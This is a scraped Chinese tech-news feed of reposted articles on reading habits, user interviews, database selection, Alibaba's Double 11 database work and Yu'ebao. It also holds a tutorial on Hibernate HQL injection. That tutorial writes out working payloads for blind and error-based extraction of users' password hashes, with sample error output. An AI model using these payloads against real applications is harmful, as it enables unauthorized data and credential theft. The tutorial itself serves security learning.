Quantcast
Channel: IT社区推荐资讯 - ITIndex.net
Viewing all 15843 articles
Browse latest View live

如何养成2天读一本书的好习惯

$
0
0

作者:黛茜的雏菊

我开始是一个不爱读书的人,经过我无数次的心理暗示自己“知识就是力量,读书改变人生”我才渐渐的慢慢的开始读书,你要问我有没有一个知识分子家庭,我要告诉你,No的n次方。如果说现在任何的我有的好习惯,那都是挣扎了很久,浪费了很久,摸索了很久,慢慢自己总结出来的。所以,我之所以写这篇文章,就是希望给那些不喜欢读书,但又深知读书好处的人一点点Tips。 希望能够帮助到你。

你准备好了没,Let’s get started!

我读书的习惯和我进行时间管理的习惯几乎是同时开始的。所以希望大家读这篇文章之前可以参照我写的时间管理的文章。

1、《如何阅读一本书》

这本历史上“最牛”的教人读书的书,真的是深深的让我折服了,我才知道什么叫做读书。这本书教给我的不只是如何读书,更让我爱上了“如何“(how to ?) 这两个字:

生活中我们面对各种各样的问题,我们要寻找答案。我们要问自己很多“如何”的问题。所你当你面对一件事情的时候,不要抱怨,问问自己 “如何” 解决这个问题。假如我不懂得读书。那我就要解决读书的问题。我不懂得做饭,我就要去找做饭的书来看,或者是请教做饭好的人询问经验。通过这样问问题,回答问题,解决问题的方法,你会学到越来越多的东西。


这本书的厉害之处在于第二点,分类(assortment)。这本书解决了所有读书人都要面对的问题,为什么要读书,读什么书,什么样的书有怎么样的读法,是深层读书还是浅尝辄止,如何把读书的内容运用到生活中等等问题。不管以后你要不要做读书人,这本书的意义都是巨大的。一下这两个图片分别是一个外国人和我自己根据这部书总结出来的读书卡片。回答其中的问题对你了解你正在读的书或多或少都会有些意义。

这个是四个基本问题:

  • 整体来说,这本书到底在谈些什么?
  • 作者细说了什么,怎么说的?
  • 这本书说的有道理么?(全部有道理,部分有道理,请举例)
  • 这本书跟你有什么关系?

2、从不想读书慢慢培养读书的习惯

读书的态度问题: 我一直记着这幅图在我的脑子里。这幅图曾今有一个旧版本,这个是新版本,但是含义都差不多。都告诉我们,从书里我们会看到更高更远的世界。

要好好读一本书的要解决的一个问题是是注意力不集中的问题。注意力不集中的问题分为两种情况:

  • 看一本书的时候,注意力不能集中。
  • 想看很多书,也都打开一章一章读,今天读这本,明天读那本。从来没有一本认认真真读完。为了这件事情,我曾今怀疑我得了ADD(Attention Deficit Disorder)注意力不集中症。

这两种问题我都有过。以下是我解决问题的方法:

我利用了番茄工作法的原理(参照:《番茄工作法》)在读书的时候,我以25分钟为一个单位。在这个25分钟为了保持高效率的读书,我克制住自己不去想喝水,吃零食,上厕所。保持25分钟的注意力集中。假如在这25分钟,我想给谁打电话或干其他事情,我会找一张纸记着。25分钟结束后,我会给自己10分钟休息时间。集中处理这些事情。我大概将这个工作法坚持了有3到4周时间,我就能自己保持自己的注意力集中了。

针对第二个问题,我发现我自己做事情属于不能 拉长战线 的那种人,我追求的是速度和效率,如果一本书被我拉到一个礼拜以上去读,我这辈子都读不完。而且我还非常讨厌”返工“这件事情。后来每次在读书的之前,我就规定我要在几天把这本书读完。目前我读200页的书大概是2天一本。

3、关于读书笔记的问题

最近读了一本书讲到钱钟书,钱钟书 被 号称读书“过目不忘”,他在小学的时候就通读了《西游记》,《水浒传》等名著。钱钟书在讲到他自己的读书的方法是说到,他自己讲到他读书的时候会大量的做笔记,一本名著有时候要通读四五遍。随时会补充自己的笔记。

我读书的时候也会记很多笔记,我发现边读书边记笔记效率非常高,我往往可以明白作者在讲什么。而且在回顾书的内容的时候也非常的方便。一下是我记笔记的一些方法。

①我们需要几个笔记本,接下来我会具体讲解这些笔记本的作用:


②我们需要一个笔记本:把这个笔记本分成几大类,是你关注的领域。例如我关心的领域有:商业,心理学,服装,教育,投资。我会利用分类工具把我的笔记本分成这五类:然后,你就可以找相关的书,然后记笔记啦。(这个是重点)记住不是所有书都要读,绝对不阅读任何不值得的阅读的内容。任何不值得做的事情,都不值得把它做好。(决不为垃圾做美丽的包装)这时候你就要负责甄选信息,什么对你是有用的。


③生活笔记本,你可以用这个本子记载你生活中灵感的点点滴滴,不要让任何从你脑子里流过的灵感浪费,你想开一家什么样子的店。你对这个店的经营理念,这些素材你将来某一天可能都会用到,或者是你的朋友说到的点子,好的建议等等。你还可以用这个本子安排你的日常生活等。


④名人名言的本子。(这个是我自己的特殊爱好,你可以根据你自己的情况)我喜欢记载各种各样的名言激励我自己,我也会自己写一些话激励我自己。名人名言的本子我也会具体分几个类别。如:生活名言,商业名言,教育名言,关于读书等。


这是我现在所有的笔记,还送朋友了一本做纪念。

推荐:想了解更多可以参照《别告诉我你会记笔记》美崎荣一郎

4、关于读书(学习知识)的原则:

学习总共分为五步骤: 学习知识→保存知识→共享知识→使用知识→创造知识(由创造知识再回到学习知识的轮回)

学习知识的目的是为了使用知识,更好的创造价值,提高自己的生活质量,再大一步改变别人的生活质量。

保存知识是为了将学习的知识使用出来,保存不是买书放回家,把自己家弄的跟图书馆一样,最后自己还是没有消化任何知识。同时明白检验我们真正消化知识的标准。

共享知识,“让别人知道你知道”。创造个人的价值和品牌。得到更多人的认可和赏识,才能得到个人的提升。再“满腹经纶”的人,如果不会适当的分享知识,在现代这个社会是不会得到任何的价值的。

其次使用知识是检验你学习知识的目标。

当我们有了知识的基础我们才能创造出更多,更有用的知识出来造福自己和他人。推荐书《你的知识需要管理》解释了以上五点,还介绍了很多工具管理你的知识。

我非常明白 现在不仅是一个信息爆炸的时代,人们也越来越缺乏耐心去读书。

所以我尽量的少些一些为什么的问题,希望大家能从我的实操中可以学到一些如何去做的方法,这些方法不一定都是适合的,但是只要你在读完这些文章之后有一点点收获都是我最大的满足。

我觉得人生的问题,主要就是态度,信念还有习惯的问题。信念决定态度,态度改变习惯。最重要的是不要放弃寻找内心中那个真实的自己,为了创造价值而活着,而不是因为活着而活着。

最后引用一句马塞尔·蒲牢斯特(Marcel Proust)说的话,“ 不要坐等智慧的到来,我们必须通过自己的努力去得到它,没有人可以代替你去进行避免这种历程。

摘自: 豆瓣

 


© 推荐 for 互联网的那点事. | 猛击下载: iPhone客户端猛击下载: Android客户端


聊聊用户访谈

$
0
0

访谈的目的

我觉得靠用户访谈想要得到什么结论是比较难的,原因很多:

  1. 你能采访到的用户都是活跃用户,而大部分沉默用户才是用户的主流,以偏概全是有问题的
  2. 用户会撒谎,他说这个东西卖太贵了,是为了让你降价。其他问题也有类似的情况
  3. 当用户还没有体验过一个东西的时候,他是无法确定自己想要什么的。

所以我觉得访谈最主要的目的是去了解玩家是怎么思考的。

质量的重要性远远大于数量!

100个很肤浅的用户访谈不如10个很深入的用户访谈。

一些小技巧

访谈的技术含量并不高,重点在于是否能打开玩家的话闸子,得到更多有价值的信息。

  1. 开放型问题和封闭型问题结合

    开放型的好处在于玩家有发挥的余地,能说的玩家能说出很多相关不相关的东西。

    然而大部分的用户相对都不太能说,就需要用封闭型的问题来引导,让玩家清楚问题的方向。2种问题结合起来问,才能照顾到所有类型的玩家。

  2. 不要死板,顺着玩家走,让他聊high

    不要按着问题列表一个一个问,玩家很多时候会跑题,没有关系!让他跑!跑题都说明玩家对这个比较关心,所以会跑过去,如果你打住了很可能就忽略了一个发现重要问题的机会。

    此外,顺着玩家走有助于玩家打开话匣子,聊开心了他们才会说出更多该说不该说的东西。

  3. 多追问原因

    最头疼的就是遇到一问一堆,玩家2个字就打发了。这个时候千万不要气馁,多追问原因,多多少少都会告诉你他们是怎么想的。这个也是访谈中最重要的部分——了解玩家的想法。

  4. 总结玩家的话,再次确认

    有时候玩家扯了一大堆的东西,或者压根就是语无伦次说些看不明白的东西。

    不要猜玩家的意思!你再总结一下,跟玩家再次确认一下,就怕玩家没说明白,我们也没理解明白,就这么糊里糊涂的给总结了。

Hibernate HQL注入攻击入门

$
0
0

SQL注入是一种大家非常熟悉的攻击方式,目前网络上有大量存在注入漏洞的DBMS(如MySQL,Oracle,MSSQL等)。但是,我在网络上找不到针对Hibernate查询语言的相关资源。因此本文总结了笔者在阅读文档和不断试验过程中的一些经验技巧。

什么是Hibernate

Hibernate是一种ORM框架,用来映射与tables相关的类定义(代码),并包含一些高级特性,包括缓存以及继承,通常在Java与.NET中使用(可参考 NHibernate),但在Java生态系统中更受欢迎。

查询语言

首先,HQL查询并不直接发送给数据库,而是由hibernate引擎对查询进行解析并解释,然后将其转换为SQL。为什么这个细节重要呢?因为有两种错误消息来源,一种来自hibernate引擎,一种来自数据库。

HQL的一大挑战是注射模式非常有限,其没有联合,没有函数来创建简单延迟,没有系统函数,没有可用的元数据表等。Hibernate查询语言没有那些在后台数据库中可能存在的功能特性。

基础

以下示例代码用来进行之后的测试。需要注意的是,恶意输入总是在百分号之间:

session.createQuery("from Book where title like '%" + userInput + "%' and published = true")

列出所有实体

下面从最基础的开始:列出所有books

from Bookwhere title like '%'    or 1=1    or ''='%'    and published = true

访问隐藏的列

尽管UNION操作符不可用,我们依然可以暴力破解隐藏的列。

from Bookwhere title like '%'    and promoCode like 'A%'    or 1=2    and ''='%'    and published = true
from Bookwhere title like '%'    and promoCode like 'B%'    or 1=2 and ''='%'    and published = true

列出所有的列

也许有读者可能会问,如果没有元数据表,怎么样才能发现隐藏的列/字段呢。我发现一个小窍门,不过只有Hibernate向客户端返回异常消息时才可用。如果列名不是Hibernate中实体定义的一部分,则其会触发异常:

from Bookwhere title like '%'    and DOESNT_EXIST=1 and ''='%'    and published = true


触发异常:

org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like '%' or DOESNT_EXIST='%' and book0_.published=1 [42122-159]


通过该异常,可以看到Hibernate查询的列表名。

访问不同的表

如前所述,HQL支持UNION查询,可以与其它表join,但只有在模型明确定义了关系后才可使用。我发现访问其它表的唯一方法是使用子查询。

例如,以下查询会从表中选择一条与“User”实体关联的项。

from Bookwhere title like '%'    and (select substring(password,1,1) from User where username='admin') = 'a'    or ''='%'    and published = true


之后就可以按常规的盲注模式进行盲注了。

非盲注

盲注比较费时间,如果异常消息能显示出来,就可以直接得到任意值了。为此,需要将某个选中的值转换为不同的类型。例如:

from Bookwhere title like '%11'    and (select password from User where username='admin')=1    or ''='%'    and published = true


之后Hibernate就愉快地将异常消息返回了:

Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe"; SQL statement:select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and book0_.published=1 [22018-159]


技巧:调用后台函数

如前所述,Hibernate会在SELECT和WHERE语句中隐藏一些不可识别的列名,对函数也一样。调用数据库函数的标准过程是 事先注册函数映射(HQL->SQL(Java代码),但攻击者不需要关心兼容性。最终查询中的完整函数可以用来窃取数据(group_concat,
array_agg, …)或对后台数据库进行简单的指纹识别。

例如,如果数据库支持group_concat函数:

from Bookwhere title like '%11'    and (select cast(group_concat(password) as string) from User)=1    or ''='%'    and published = true


则异常触发为:

Data conversion error converting"3f3ff0cdbfa0d515f8e3751e4ed98abe,79a41d71c31128ffab81ac8df2069f9c,b7fe6f6a1024db6e56027aeb558f9e68";SQL statement: select book0_.id as id18_, book0_.author as author18_, book0_.promotionCodeas promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select cast(group_concat(user1_.password) as varchar(255)) from User user1_)=1 or ''='%' and book0_.published=1 [22018-159]


总结

本文并不是讨论关于Hibernate的漏洞,而是利用HQL的技巧。如果有读者维护着使用Hibernate的Java web应用程序,可以运行FindBugs,利用这些规则识别与Hibernate API相关的潜在注入问题。

本文至此就结束了,希望对各位读者有所帮助!

参考

HQL: The Hibernate Query Language : Hibernate 官方文档

HQLmap:也许是目前能够进行自动HQL注入的唯一工具(暴力破解实体与列名)。

SQL Injection Wiki : 多种DBMS平台进行SQL注入的有用参考资料。

Pentestmonkey
SQL Injection cheatsheets
: SQL注入的另一不错的参考资料。

[via h3xstream]

特别提醒:本文阐述的攻击方式仅供安全学习、研究及教学使用,禁止非法用途

Oracle MySQL Or NoSQL续

$
0
0

接前面一篇,这里再将之前在“中国系统架构师大会”5周年的时候发布的纪念册“IT架构实录”上的一篇文章发出来,也算是前面博文中PPT的一个文字版解读吧。

——————————————————————————————-

Oracle,MySQL 还是 NoSQL?

前言
随着阿里系的“去IOE”运动在社区的宣传声越来越大,国内正在掀起一股“去xxx”的技术潮。不仅仅是互联网企业,包括运营商以及金融机构都已经开始加入到这个潮流之中。作为运动中的这个“O”的Oracle数据库,自然就成为了众矢之的,众多CIO及CTO们都展示出一副欲除之而后快的表情。那在实际的应用场景中,我们到底该如何去选择数据的存取软件呢?

大概在09到10年左右,突然一夜之间满世界都在谈论 NoSQL,到处是关系型数据库要被 NoSQL 替代的声音,几乎所有人都在鼓吹NoSQL的各种好,但到目前为止也没有看到哪个数据库软件的市场受到了NoSQL的大冲击,当初红极一时的Cassandra也从老东家 Facebook的最初应用场景中退出舞台而改用了HBase。当初从关系型数据库 MySQL 转投 NoSQL 怀抱的 Twitter 经历了各种“痛”之后,又回到了MySQL的怀抱…

作为一个架构师,面对如此众多选择的时候,到底该依据什么来作出正确的决定呢?下面是笔者经验中常用的3步决策思路,希望对大家稍有启发。

一、 系统对比
 功能差异
Oracle无疑是功能最为全面一个,无论是用于OLTP场景还是OLAP场景,都有很好的技术手段支撑;MySQL作为开源数据库软件的代表,对于关系型数据库常用的功能也都全面覆盖到了,但作为 OLAP场景所不可或缺的 Hash Join这一特性确实给 MySQL 的 OLAP之路造成了较大阻碍;而各 NoSQL 产品大多都不能进行非 K/V 式的数据存取,能支持多维度条件过滤的产品选择较少。
所以从功能角度来比较: Oracle > MySQL > NoSQL

 性能强弱
根据过去的一些测试及实际应用场景的经验,基于同等硬件资源,可以从以下3个角度来对比性能:
 写入:由于 NoSQL 在数据存储及日志记录方面的架构及实现优化,相对 Oracle 及MySQL来说都有不小的优势。而 MySQL 和 Oracle 二者差异并不是特别大,暂且认为二者并列吧。
所以从写入性能角度来比较:NoSQL > Oracle = MySQL

 简单查询
关于简单查询性能的争议一直很大,有人测试出 Oracle 不如 MySQL 的结果,也有人测试出 MySQL 比 Oracle 差的结果。其实可能二者的测试都没有问题,真正的问题在于各自的测试场景的差异,尤其是并发数的差异可能会对测试结果造成非常大的影响。在高并量不断增加的时候(如到达128),MySQL就会逐渐显示出力不从心的状况了。至于 NoSQL,至少在笔者的测试场景下大部分时候都是比前面二者性能要差。当然肯定会有大量的 NoSQL 粉丝们会跳出来反对,但请记住我们要的不是一个 Cache 产品,也不是比较大规模集群下的能力。
所以从简单查询性能角度来比较:Oracle > MySQL > NoSQL

 复杂查询(至少含有 Join)
NoSQL 产品不支持 Join,所以无疑垫底,MySQL 的查询优化器由于所基于的统计信息相对少很多,当Query 复杂度很高的时候容易出现执行计划不是最优选择的问题,而 Oracle 由于大量的统计信息支持,使得其查询优化器更为智能,对复杂查询有更优的表现。
所以复杂查询的性能角度:Oracle > MySQL > NoSQL

 扩展能力
扩展能力或者说扩展方便程度,一直是影响架构师选型的一个重要因素,毕竟我们的数据产生速度越来越快,很多时候都难以通过单机来解决问题。
单纯从扩展便利性角度来看,大部分 NoSQL 产品都有较好的分布式支持方案,无疑是最佳选择,而 Oracle 由于其对数据一致性的严格要求,以及架构的一些限制,扩展便利程度较 MySQL 要稍微弱一些。
所以在扩展能力方面:NoSQL > MySQL > Oracle

 可维护性
这一点一直是运维人最为关注的因素,毕竟任何一个软件系统都是需要后期维护的。
NoSQL 产品由于发展时间相对较短,对于可维护性角度的支持相对要少很多,虽然大多提供了一些相应的小工具,但总体来说都还是过于简单了些,所以这方面和相对成熟的 MySQL 以及Oracle相比较要弱。而Oracle为后期维护所做的工作无疑是最为全面,无论是运行状态的跟踪,还是基础的备份恢复等,都很完善。
所以在可维护性角度方面:Oracle > MySQL > NoSQL

 商业支持
NoSQL 产品目前有商业支持的很少,MySQL 的本地化商业支持选择并不多,Oracle方面的商业支持无论是大型公司还是初创团队,选择性相对比较广泛
所以在商业支持方面:Oracle > MySQL > NoSQL

 软件成本
这方面没有太多争议:Oracle > MySQL = NoSQL

 人才环境
这是很多人会忽略的一个因素,但实际上可能会给后续的使用及维护带来非常大的影响。Oracle作为发展了多年的数据库领域的龙头,所以整个 Oracle DBA 行业相对比较成熟,人才体系也相对稳定。MySQL 数据库作为后起新秀,已经有不少人投入其怀抱,但总体来说无论从数量还是质量角度来看,都远不如 Oracle DBA 这一群体。NoSQL 方面的人才就更为匮乏了。
所以从人才环境角度:Oracle > MySQL > NoSQL
二、 场景分析
 一致性要求
虽然无论你什么时候去问任何一个业务方,都会告诉你他系统的数据是不能有任何一条丢失的,任何时候都需要实时反馈变化。但实际上是当你换一个提问方式,告诉他们如果在极端情况下(比如断电)也要确保数据不会有任何丢失,会增加几十上百万的成本,那这个时候得到的回答可能就会完全不一样了。所以我们在了解业务方对数据一致性要求的需求时候,一定要明确厉害关系,分清数据级别,并且做到最大化的信息透明,才能挖出最清晰的需求。对于数据一致性的保护,Oracle 无疑是做的最可靠的一个。
 并发规模
并发规模会考验我们的扩展能力,如果并发规模很大,那我们就需要很好的扩展能力以保证后续并发增长的需求。选用一个难以扩展的系统,会导致后续并发规模增长过程中无论是时间成本还是经济成本都很高。
 逻辑复杂度
很显然,如果业务逻辑过于复杂,至少 NoSQL 肯定不是合适的选择,至于 MySQL 还是 Oracle,那就是考验二者功能及性能的时候了。
 总容量规模
我们的系统数据容量规模自然也会影响到软件选型,规模非常大的,肯定要用分布式系统支持,至少也得分库分表吧,这时候的扩展能力就会充分显示出其优势。
三、 平衡决策
经过了第一步的“系统对比”,以及第二步的“场景分析”,我们已经为系统选型积累到相对充分的信息了,那是不是就可以比较明确的选择出合适的系统了呢?
这时候我们可能会发现我们的数量规模很大,但是又希望能够维护方便容易控制。这时候我们就面临如下问题:数据量规模大选NoSQL更合适,便于维护又是Oracle的优势,怎么办? 又或者如果我们有这样一个场景:某交易系统,并发量很大,对于数据一致性要求很高,业务逻辑也并不简单,怎么办?Oracle可以为我们提供很好的数据保护,面对复杂逻辑的时候也能有最好的性能,但在扩展的时候会面临成本压力。MySQL可以提供较好的扩展方案,而且成本相对会较低,NoSQL 无法解决复杂逻辑的业务场景。
类似问题可能会频繁出现在我们的架构师面前,需要大家根据各种利弊进行权衡,做好平衡决策,在尽可能满足业务需求的前提下,选择一个更合适的系统。有些时候可能也不得不作出牺牲极少数业务需求来换取系统更大的发展,而不要为了保全某些极端场景的需求而影响整个选型。

总结
数据存储软件的多样化趋势势不可当,不管是传统龙头的 Oracle,还是开源典范的 MySQL,以及 NoSQL 这一新秀,各有其特色,但同样也都有其短板。没有谁是万能的,同样也没有哪一种架构能应对所有问题。

作为一个架构师,我们的选型工作需要做到下面几点:
1. 在平时的工作中做好积累,以获得上面的第一步“系统对比”中的信息。
2. 在面对具体业务需求的时候,充分挖掘最真实的需求,并将各种利弊信息透明化
3. 在最终决策的时候做好平衡,从需求实现,成本控制以及维护管理多个角度权衡利弊
4. 对新技术学习的渴求不能影响选型结果,同样也不能对新技术的使用带有恐惧。

Oracle,MySQL 以及 NoSQL,都只是一个软件而已,实际使用效果更多的取决于使用者的能力。一个优秀的使用者能够充分利用其优势避开其软肋,最终获得最大化的价值。

最后,在选型的过程中既要充分吸收业内经验,又不能人云亦云。不要看到别人的“去O”运动声势浩大,就一棍子打死 Oracle,你只看到了别人希望你看到的内容。


作者: Sky.Jian 发布在: iSky000.com 欢迎  订阅本站Feed
Copyright © 2004-2012, 可以任意转载, 但转载时务必以超链接形式标明文章原始出处 和 作者信息 及 版权声明
链接: http://isky000.com/database/oracle-mysql-or-nosql-2
Hosted On Dreamhost,折扣码 iMySQLer )

阿里双十一数据库技术

$
0
0

真的很抱歉,我的博客已经很久没有更新了,因为花了太多的时间在微博和微信上,当然最主要的原因还是工作实在太忙了,仅剩的那点业余时间都用来陪娃了。

从2012年开始,工作重心转移到了淘宝和天猫,我的技术方向也发生了改变,2012年和2013年,经历了两次双十一,在这个过程中学到了很多东西。尤其是2013年的双十一,系统准备的非常充分,技术上有很多创新,团队也得到了成长。

这篇文章是我为《程序员》杂志双十一特刊写的一篇文章,介绍了阿里数据库的核心技术

前言

大家都知道,双十一的零点高峰给系统带来的压力,尤其是数据库,作为整个交易系统最核心的组成部分,数据库的性能直接决定了整个系统的稳定性。

阿里巴巴(淘宝和天猫)的核心系统全部运行在PC服务器和MySQL数据库上,通过数据水平拆分实现了非常高的扩展性和可用性, 数据库的容量已经不再是系统瓶颈。双十一最重要的工作就是根据业务的压力,准确评估出系统的容量。因为阿里数据库的规模非常大,数据库扩容也是一项艰巨的工作,必须有自动化工具才能完成。我们还准备了很多应急预案,来应对一些突发的情况,并且通过不断的演练,保证了出现问题时可以快速解决。AliMySQL是阿里内部的MySQL分支,我们根据业务场景,对MySQL做了多项改进。同时,阿里巴巴自主研发的OceanBase数据库,已经在多个核心应用上使用,在双十一中承担了非常重要的作用。

数据库容量

数据库的容量评估分为两个部分:评估业务对数据库产生的压力,数据库单机所能承载的容量,根据这两个值就可以计算出数据库集群的规模和水位。将业务指标换算成数据库的指标QPS(Query Per Second,本文中的QPS不仅包括查询,还包括插入,修改和删除等数据库操作)是一个非常复杂的过程,大致的思路是:首先按照业务指标评估每个应用接口的调用量,然后再根据不同的接口调用量计算出成数据库的指标QPS。

看似简单,实际情况要复杂得多。淘宝的系统非常庞大,系统间的调用关系非常复杂,要分析出每个应用接口调用数据库的QPS绝非易事。为了解决这个问题,在阿里内部有一套鹰眼(eagleeye)系统,可以监控应用接口的调用量,调用关系,以及每个接口访问数据库的QPS等。借助这套系统,我们就可以比较准确的估算出数据库的容量。大家可以看出,评估数据库的容量是自上而下进行的,所以,梳理应用的调用关系是非常重要的。

一般情况下,在应用层和数据库之间,还有一层Cache,所以在评估数据库的容量时,我们还要考虑Cache的命中率,以及Cache服务器宕机的情况。在双十一大促时,Cache承担了非常大的访问压力,一旦命中率下降或者宕机,将会给数据库带来巨大的压力。我们必须要考虑这种情况,但是过度考虑会浪费大量的机器资源。所以,从平衡的角度出发,我们会为数据库预留1-2台Cache服务器宕机的容量,最高不超过Cache集群的10%。

评估出业务指标对数据库的容量需求,我们还需要知道数据库单机所能承载的压力。我们采用的方法不是通过系统Load,CPU或IO利用率来评估的,而是直接模拟真实业务来进行压测,这样做的好处是更真实。因为不同的应用的模型是不同的,比如查询型、插入型、混合型、内存型、IO型等。还有很多因素会影响数据库的性能,比如:数据量大小,查询复杂度,是否有热点等。同时,机器的硬件配置也是不同的,CPU型号,内存大小,SSD还是磁盘都会显著影响数据库的水位。不同应用反映在系统上的瓶颈也不同,可能是CPU,也可能是IO,也可能是网卡。我们之前就曾经碰到某个数据库集群,CPU还很空闲,但是千兆网卡被打满的情况。所以根据真实的业务进行压测,可以最真实的反映出系统的瓶颈,系统的最短板决定了数据库的容量。

根据压测的数据,我们就可以计算出整个集群的总容量。举一个例子:某数据库集群共16台主机,单机的容量是4万QPS,那么整个集群的容量就是64万QPS。假设根据业务的指标,我们估算出双十一数据库的压力为48万QPS,那么该数据库集群的水位就是75%。根据这个思路我们开发了数据库容量平台(Database Capacity Platform),可以非常直观的了解数据库的水位信息,水位非常直观的反映出数据库是否超出了容量。一般我们认为75%是安全水位,水位超过75%则需要进行扩容。

数据库扩容

因为双十一和平时的压力存在非常大的差距,所以我们需要在双11前对数据库集群进行扩容,必须在一个月的时间内完成,这个工作量是非常巨大的。数据库按照业务分为很多个集群,每个集群内由很多台MySQL数据库组成,数据一般按照用户ID或商品ID水平拆分。数据库集群扩容的类型有两种:一种是读写分离,通过增加备库提供读服务来提升集群的能力;另一种是水平扩容,将数据重新分布,拆分到更多台服务器上,达到扩容数据库集群的目的。

第一种方式比较简单,但是因为数据库主备存在延时,只适用于对读一致性要求不高的场景。第二种方式需要重新分布数据,虽然比较复杂,但是理论上没有容量的限制,我们大部分的扩容都采用这种方式。

不仅要考虑扩容,还要考虑缩减。在双十一之后,为了保证不浪费机器资源,我们还要对集群进行缩减。如果是读写分离则比较简单,直接将备库下线即可,但是水平扩容的方式,集群缩减的成本非常高。而且,最困难的地方在于扩容和缩减不能影响业务,必须在线进行,同时要尽量自动化,解放DBA的生产力。

集群的扩容和缩减,我们依靠一套自动化系统(DBFree)来完成,DBFree是阿里内部为MySQL量身打造的自动化运维系统,能够快速资源快速分配、拆库拆表拆实例、扩容和缩减。

如果没有这套系统,要在这么短的时间内完成大量数据库的扩容几乎是不可能完成的任务。

数据库预案

应急预案就是为了保护应用或数据库制定的措施,预案分为降级和限流两种:降级是关闭某些不重要的功能,限流是控制进入系统的流量。对于不同的数据库,我们都有对应的应急预案,当发生压力超出数据库所能提供的容量时,我们可以通过预案来保护数据库,不至于发生雪崩(数据库超出容量,响应时间变慢,导致前端应用出现问题的连锁反应)的情况。

因为数据库是整个系统的最底层,数据库要依赖于上层的应用来保护,以前数据库本身是没有自我保护能力的。今年双十一,我们创新的提出了数据库的自我保护和限流功能,作为数据库的应急预案,极大提升了数据库的稳定性。同时,应用也可以感知到这个错误,并作相应的处理。

数据库新技术

AliMySQL是阿里内部的MySQL分支,不仅修复了很多bug,还根据业务场景,开发了很多新的特性,比如:并行复制,并发控制,自我保护等等。

并行复制:MySQL主备复制是单线程的,如果主库写入量比较大,备库就会产生延迟。如果备库需要提供读服务,延迟是不能接受的。并行复制就是为了解决这个问题而提出来的,并行复制将原来的单线程复制变为多线程复制,有效解决了主备延迟的问题。双十一,很多数据库的备库都提供了读服务,在主库写入压力很大的情况下,主备延迟非常低,并行复制功不可没。

并发控制:这个补丁主要是解决热点更新的问题,比如热点商品更新库存,秒杀,红包等场景。当同时大量更新数据库中的同一行时,就会产生大量的锁等待,数据库的性能就会急剧下降。比如:在极端情况下,并发更新同一行,MySQL的TPS会降低到1000以下。并发控制补丁的作用通过控制并发更新的数量,缓解了热点更新的锁争用问题。经过测试,使用并发控制补丁,并发更新同一行,MySQL的TPS可以稳定在5000左右。今年双十一,没有发生商品超卖的情况,并发控制补丁是幕后英雄。

自我保护:当数据库发现性能很差的SQL或者超出系统的容量时,数据库会进行自我保护,保证数据库的性能和响应时间,不至于持续恶化。数据库的自我保护是阿里巴巴数据库团队率先提出并应用到生产环境的,经历了双十一的检验,极大的提升了数据库的性能和稳定性。

OceanBase

OceanBase是阿里巴巴自主研发的可扩展的关系型数据库,实现了跨行跨表的事务,支持数千亿条记录、数百TB数据上的SQL操作。在阿里巴巴集团下,OceanBase数据库支持了多个重要业务的数据存储,包括收藏夹、直通车报表、天猫评价等。截止到2013年4月份,OceanBase线上业务的数据量已经超过一千亿条,机器总数超过了1000台,经历了多次双十一的考验。

OceanBase的特性包括:分布式,可动态扩展,支持事务,支持SQL,高可用等。它结合了数据库和NoSQL的优点,像NoSQL产品一样,用户不再需要关心数据如何拆分,分布式架构,可以动态扩展。同时,又像传统数据库一样,支持SQL,事务,可以保证强一致性。并且任何单点故障都不会影响可用性。它主要包括以下组件:UpdateServer,RootServer,ChunkServer,MergeServer:

相比较各种NoSQL产品,OceanBase更倾向于传统数据库,因为我们大部分的应用都需要强一致性,支持事务,SQL等特性,NoSQL产品无法满足需要。而OceanBase又提供了比传统数据库更强的扩展能力,用户不再需要关心数据的拆分规则,ChunkServer可以动态扩展。所以,OB是一个分布式的关系型数据库,而不是又一个NoSQL的产品。

OceanBase是阿里集团最重要的自主研发项目之一,我们还在不断加大投入,相信未来它会在阿里集团甚至外部发挥越来越重要的作用。

压测与演练

双十一系统的稳定性与充分的准备工作密不可分,准备环节中最重要的两个部分就是性能压测与预案演练。

双十一前,我们对每个数据库都进行了性能压测,我们自己开发了一个压测工具( MyTest)来模拟业务真实的压力,可以非常方便的对数据库进行压测。同时,我们还做了一项非常特殊也是风险很大的压测,我们会人为关闭系统中的Cache,这时业务的压力就会全部压在数据库上,这样做可以模拟缓存失效的场景,最真实地模拟出业务对数据库的压力。

另一项工作是预案演练,因为整个系统的应急预案非常多,今年双十一光数据库的预案就有两百多个。我们内部有一套系统对预案进行管理,并且在双十一前进行了多次预案演练,保证预案在紧急情况下是有效的,并且可以快速执行。比如应用降级,限流,数据库宕机,流量切换等预案,在双十一前都被多次演练过。“平时多流汗,战时少流血”,这个道理相信每个人都懂。

总结

双十一是一个庞大的系统化的工程,通过双十一,可以检验我们系统的稳定性,发现系统中的薄弱环节,并加以改进。

双十一就像是一次年终大考,对于数据库技术的发展和自动化运维工具都有巨大的推动作用,也是对团队组织和能力的一种考验。

只有经常打仗的队伍才有战斗力!

–EOF–

刘士余对余额宝不太公平

$
0
0

刘士余对余额宝不太公平

 

2014/5/13 每日经济新闻

 

余额宝被定性。

 

5月10日,央行副行长刘士余在首届清华五道口全球金融论坛上,再次给余额宝等背后的货币基金定性,不是金融创新。余额宝只是简单地把存款搬到互联网,对经济结构调整没有什么贡献,对实体经济也没有什么贡献。

 

创新,要看不同的程度,改变改革进程的实质创新叫创新,流程与工具的创新也叫创新。余额宝背后的货币基金主要投资于银行间拆借市场,在银行资金紧张时,为银行提供成本较高的流动性,货币基金早已有之,银行拆借早已有之,算不上什么本质创新。

 

余额宝是技术手段创新,通过互联网手段以光速聚集沙粒般的小资金,可算得上是伟大的技术创新。截至2014年2月底,余额宝规模约为5000亿人民币,其对应的天弘增利宝已超过了全球闻名的富达反向基金等著名基金产品,跻身全球前十大基金行列,为全球第七大基金和第三大货币基金。只有互联网高效才能做到这一点。银行只能适应互联网时代的发展,无论你喜欢还是不喜欢,互联网与金融融合的大趋势都不会改变。

 

